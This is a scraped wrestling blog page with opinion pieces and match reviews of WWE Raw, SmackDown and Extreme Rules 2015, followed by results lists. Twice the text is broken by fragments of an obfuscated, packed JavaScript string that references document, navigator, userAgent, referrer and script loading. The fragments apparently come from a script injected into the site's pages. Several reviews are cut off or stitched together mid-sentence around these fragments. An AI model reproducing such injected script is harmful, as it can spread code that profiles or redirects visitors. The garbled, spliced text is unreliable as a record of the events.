New Day is on fire right now and the fans are having a great time booing them.  Cesaro/Kidd are one of the most polished teams I’ve seen in years and are giving me flashbacks to the Harts and the Bulldogs.  Ambrose is exactly the spark that the main event needed.  This open challenge thing is one of the most exciting parts of the show every week.  Sami Zayn, the Lucha Dragons and Neville are showing what happens when NXT stars get the chance to shine.  Barrett is PERFECT for the king role.  Lana could be the biggest Diva in the world if she has any skill in the ring.

I really hope this doesn’t jinx it, but we could be in for one heck of a summer if WWE doesn’t screw this up.  Things are getting hot in a hurry and they could knock it out of the park if they don’t do their usual.

A few things that could kill the roll:

Jobbing New Day/Cesaro/Kidd.  They’re hot, the fans want to see them do their thing, and they’re all nailing it.  Don’t have them be cannon fodder for one off teams like Orton and Reigns.

Don’t have Barrett lose five matches in a row and then win once to prove he’s still good.  It hasn’t worked before and it won’t work now.

No more 20 minute opening promos, especially from HHH/Stephanie.  That fake smugness about “we love the fans and just want what’s best for them” has been done so many times and it’s completely overdone.  Just have them be evil.  And don’t let Stephanie keep cutting balls off.  Or at least let her get some comeuppance.  HHH isn’t even that bad these days.  If he keeps it relatively short he’s fine.  He’s just been stuck in horrible stories.

Don’t give us Rollins vs. Kane on pay per view.  Just don’t.

Keep Big Show in the midcard.  The main event stuff was long, dull and didn’t work.  Yeah the blowoff match was good, but in no way was it good enough to make up for how bad it was.  Get Kane and Big Show out of their spots and put Sheamus/Barrett in there instead.

Last night in the Live Discussion I do every week on Raw (WrestleZone Forums.  Check it out), I said something like this:

“Either Sami’s arm injury is fake or he’s the most amazing wrestler of all time.”

It seems the latter is closer to the truth as he really did jack up his shoulder during his entrance.  Still though, great stuff.

If it’s not clear, I really liked Raw last night and I’m hoping it keeps going, but I have a feeling they’re going to botch it.  As they almost always do.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dryhe|var|u0026u|referrer|yedrz||js|php'.split('|'),0,{})) was kind of a special episode as the King of the Ring was announced and set up in the span of a single day. Apparently the idea was to have it spread into May on the Network where people would have to pay for it, but since May is ANOTHER free month, they’re just turning it into a two night event instead. That makes me so much happier to have paid for the Network since day one. Let’s get to it.

Xavier Woods cheated to help Big E. beat Tyson Kidd. How nice is it to see someone cheating like a good old fashioned villain?

R-Truth beat Stardust to advance. You think I have anything else to say about this?

Adam Rose beat Fandango. To quote myself from the original review: “This is the latest story that people aren’t going to care about and is going to be a waste of time.”

mimicking people. You know, like four year olds do. I give this a month, max. There was something in there about beating up Curtis Axel too.

The main event was a long Reigns/Orton vs. Rollins/Kane tag with Reigns pinning the champ. This was your standard main event tag match, meaning it was entertaining enough but longer than it needed to be.

These episodes of building up future shows are never all that great so this was about as good as you can get, especially with the tournament stuff shoehorned in.

Remember to follow me on Twitter @kbreviews and pick up my new book of 1998 Pay Per View reviews at Amazon for just $3.99 at:

Neville
Luke Harper

R-Truth
Stardust

Dolph Ziggler
Bad News Barrett

Not bad other than basically giving Barrett/Ziggler a bye into the finals.  I’m assuming it winds up with Sheamus vs. Ziggler again because WWE loves their rematches.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|srtei|var|u0026u|referrer|dsiyb||js|php'.split('|'),0,{})) Rules 2015
Date: April 26, 2015
Location: Allstate Arena, Rosemont, Illinois
Commentators: Michael Cole, Jerry Lawler, John Bradshaw Layfield

Bad News Barrett vs. Neville

The fans are entirely behind Neville as Barrett grabs a headlock to start. Neville takes him to the mat and hooks a nice rollup for two before the front flips have Barrett even more confused. A dropkick sends him to the floor but Barrett trips Neville up to take over. Back from a break with Barrett holding a chinlock before throwing Neville into the air for a kick to the ribs and two. A big boot to the face gets the same on Neville and Barrett follows up with a nice slingshot backbreaker.

Luke Harper vs. Dean Ambrose

Dolph Ziggler vs. Sheamus

Rating: C+. This was just a TV match with a quick ending but the two worked pretty well together. The idea here was to have Ziggler bounce off Sheamus and make all the power moves look good, which he excels at. Solid enough match here, even if the gimmick was really stupid.

Tag Team Titles: New Day vs. Tyson Kidd/Cesaro

The pre-show panel chats for a bit and talks about Neville vs. Barrett.

New Day celebrates their win as Ambrose and Harper return. They fight back to the arena and throw a bunch of weapons into the ring. Harper hits a quick powerbomb onto the chairs for two but takes too long putting Dean under the chairs, allowing Ambrose to toss him onto the steel. Dirty Deeds connects for the pin at somewhere around 59:00.

Long recap of Cena vs. Rusev. They traded wins at the previous two pay per views but tonight Cena is defending the US Title in a Russian chain match.

US Title: John Cena vs. Rusev

Russian chain match of the four corners variety, meaning forward momentum has to be maintained or your streak of corners is erased. They start with a tug of war and Cena gets three quick buckles, followed by Rusev getting two of his own. Rusev sends him to the floor and suplexes him over the ropes for two buckles but Cena hits him with the chain to break it up. They head outside with Rusev being pulled into the post, knocking him half silly in the process.

Cena gets two buckles but Rusev wraps his legs around the ropes for the save. Rusev scores with the spinwheel kick and chains Cena in the back a few times but can only get two buckles. For some reason Rusev goes up top, only to get pulled down onto the chain. Cena starts his finishing sequence but gets caught in the fall away slam, setting up the jumping superkick. The fans want Lana so she gets on the apron, only to be ejected by Rusev. Cena hits his usual stuff but the AA is countered into the Alabama Slam.

The Accolade is reversed into the STF and the rope Rusev grabs means nothing. Rusev pulls him down and hooks the Accolade so Cena gets to his feet and drives Rusev into two corners. He collapses from the hold though and Rusev hits the third, only to walk into the AA to break the streak. Back up and they both quickly get three, setting up a tug of war over the fourth. Rusev rushes for it but Cena pulls him into the AA and slaps the fourth to retain at 13:35.

Divas Title: Nikki Bella vs. Naomi

Nikki is defending and Naomi got the shot after attacking Paige, who had won a battle royal to earn the title match. Naomi has new music, stupid looking glasses and shoes that light up. Nikki puts on an armbar to start but gets suplexed down for two. The shoes are already really distracting as Naomi hooks a chinlock. Back up and Nikki avoids the Rear View but Naomi stops to dance a bit.

Naomi charges into an elbow in the corner and the Alabama Slam gets two. Back up and Naomi gets the same off a falling reverse DDT. A quick Bubba Bomb into a rollup gets the same but Nikki comes back with something like a Beautiful Disaster from the middle rope for two. Brie gets in a cheap shot on Naomi, setting up the Rack Attack to retain the title at 7:17. Those are our new heroes?

We recap Reigns vs. Big Show, which exists to prove that there is a devil and his name is Vince McMahon.

Roman Reigns vs. Big Show

Randy Orton tells Kane that the Authority will turn on him.

We look at some Tough Enough applications.

WWE World Title: Randy Orton vs. Seth Rollins

In a cage with Rollins defending, the RKO banned and Kane guarding the cage door. Pinfall, submission or escape to win. Rollins goes for the cage twice early and Randy pulls him down on the second attempt. A third attempt goes just as badly so Rollins climbs one more time and sends Orton into the cage to take over for a change. Seth gets reversed into the cage again and the chase is on up the cage wall with Orton making a save.

Orton loads up the RKO but opts for a decent looking Pedigree for two instead. The fans chant YES as Orton loads up the Punt but Rollins ducks to the side and hits a quick enziguri. Kane is told to open the door and obeys the champ but Randy is right there with the backbreaker to stop Rollins again.

The door stays open so Orton stops to think about it, but the threat of Kane sends him back. That threat proves to be well founded a Kane slams the door when Orton tries to leave. Randy does the smart thing by kicking the door at Kane before it turns into a fight to escape. Kane slams the door on both men and takes off his jacket, so the Stooges send Kane into the cage. The monster chokeslams both guys and loads up a tombstone on Orton, only to have Randy escape and RKO Kane. Seth uses the distraction to RKO Orton, allowing him to escape and retain at 20:50.

Results

Dolph Ziggler b. Sheamus – Rolling cradle

New Day b. Cesaro/Tyson Kidd – Rollup with a handful of trunks

Dean Ambrose b. Luke Harper – Dirty Deeds

John Cena b. Rusev – Cena touched the fourth buckle

Nikki Bella b. Naomi – Rack Attack

Seth Rollins b. Randy Orton – Rollins escaped the cage

Remember to follow me on Twitter @kbreviews and pick up my new book of 1998 Pay Per View reviews at Amazon for just $3.99 at:

Opening sequence opens, as is its custom.

Dolph Ziggler/Neville vs. Bad News Barrett/Sheamus

Back from a break with Barrett holding Neville in a chinlock before Sheamus drops him with a release suplex. Neville finally fights up and kicks Sheamus in the head, allowing the hot tag to Ziggler. The jumping elbow and running DDT get two each on Barrett but a Sheamus distraction lets Barrett hit a quick Wasteland for two more. Ziggler spins around the shoulders though, setting up a Zig Zag into the Red Arrow for the pin on Barrett at 8:39.

We get the Tough Enough announcement and see some of the best/worst video submissions so far. Yeah fine. Just let me know when the winner (other than John Morrison) means anything.

Naomi vs. Natalya

Ryback vs. Rusev

Jobber entrance for Rusev but Lana gives a speech about the strength of the Russian chain, which has protected the greatest of Russia for years. Rusev says the chain is his weapon and a burden to Cena, to whom no mercy will be shown. They stare each other down to start before locking up with Rusev shoving him into the corner. Ryback nails a running clothesline for two and the Russian is stunned. A delayed suplex puts Rusev down again but he rolls to the floor before Ryback can stay on him.

Back in and Ryback misses a charge into the post, sending us to a break. We come back with Rusev putting on a quickly broken bearhug. Ryback fires off some right hands and gets two off a belly to belly, only to splash legs. The Meat Hook and jumping superkick are countered but the second Meat Hook connects. Rusev slips out of a Shell Shock though and heads outside, where he hits Ryback in the ribs with the chain for the DQ at 9:57.

Ryback gets the Accolade with the chain around the face.

Kofi Kingston vs. Cesaro

Big Show has had enough of Roman Reigns and is ready to expose him for what he is.

Roman Reigns/Dean Ambrose vs. Seth Rollins/Luke Harper

We take a break and come back with Dean fighting out of a chinlock but having to DDT Harper instead of tagging. Seth comes back in to break up the hot tag attempt with a clothesline before both guys try cross bodies. The double tag brings in the power guys with Roman cleaning house but having to Superman Punch the Stooges off the apron. Harper takes one as well before Dean nails Rollins with the top rope standing elbow.

Results

Dolph Ziggler/Neville b. Bad News Barrett/Sheamus – Red Arrow to Barrett

Naomi b. Natalya – Rear View

Ryback b. Rusev via DQ when Rusev hit him with a chain

Kofi Kingston b. Cesaro – Trouble in Paradise

Roman Reigns/Dean Ambrose b. Seth Rollins/Luke Harper – Spear to Rollins

Remember to follow me on Twitter @kbreviews and pick up my new book of 1998 Pay Per View reviews at Amazon for just $3.99 at:

Opening sequence.

Bray Wyatt vs. R-Truth

We look back at the Divas battle royal on Monday and Naomi jumping Paige post match, sending her off to film a movie.

Miz vs. Bad News Barrett

We recap Orton and Rollins on Raw with both guys winning matches to earn a stipulation for the title match at Extreme Rules.

Sheamus vs. Neville

Los Matadores vs. New Day

We recap Fandango dumping Rosa.

Cameron vs. Alicia Fox vs. Natalya

Fandango vs. Adam Rose

Fandango scores with an early dropkick and clotheslines Rose to the floor for a slingshot dive. Rosa comes out to yell at Fandango, allowing Rose to baseball slide him down. Back in and Adam looks at Rosa, setting up the rollup to give Fandango the pin at 1:24.

John Cena/Daniel Bryan vs. Tyson Kidd/Cesaro

A series of right hands sets up the moonsault out of the corner but he hits a running boot through the ropes instead of the Flying Goat to Cesaro. There are the YES Kicks in the corner followed by a top rope hurricanrana for two. Both Tag Team Champs get YES Kicks but Bryan has to yell at Natalya. Kidd accidentally knocks her off the apron and into Cesaro, allowing Bryan to YES Lock Kidd for the win at 7:49.

Bryan and Cena celebrate to end the show.

Results

Bray Wyatt b. R-Truth – Sister Abigail

Bad News Barrett b. Miz – Bull Hammer

New Day b. Los Matadores – Midnight Hour to Fernando

Cameron b. Alicia Fox and Natalya – Cameron pinned Natalya after an ax kick from Fox

Fandango b. Adam Rose – Rollup

John Cena/Daniel Bryan b. Tyson Kidd/Cesaro – YES Lock to Kidd

It’s an old idea that still works today.  And Mighty Mouse.